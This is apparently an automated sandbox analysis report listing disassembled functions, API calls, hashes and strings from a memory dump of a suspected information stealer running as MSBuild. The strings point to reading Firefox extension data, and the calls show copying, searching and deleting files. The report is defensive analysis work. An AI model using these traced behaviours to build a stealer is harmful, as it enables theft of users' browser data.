Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,012596D0,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,012596D0,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,01266000), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01250578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01250578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406EAF, 00406E5E, 00406DD2, 00406E94, 00406DAE

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,012668F0), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01266030,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
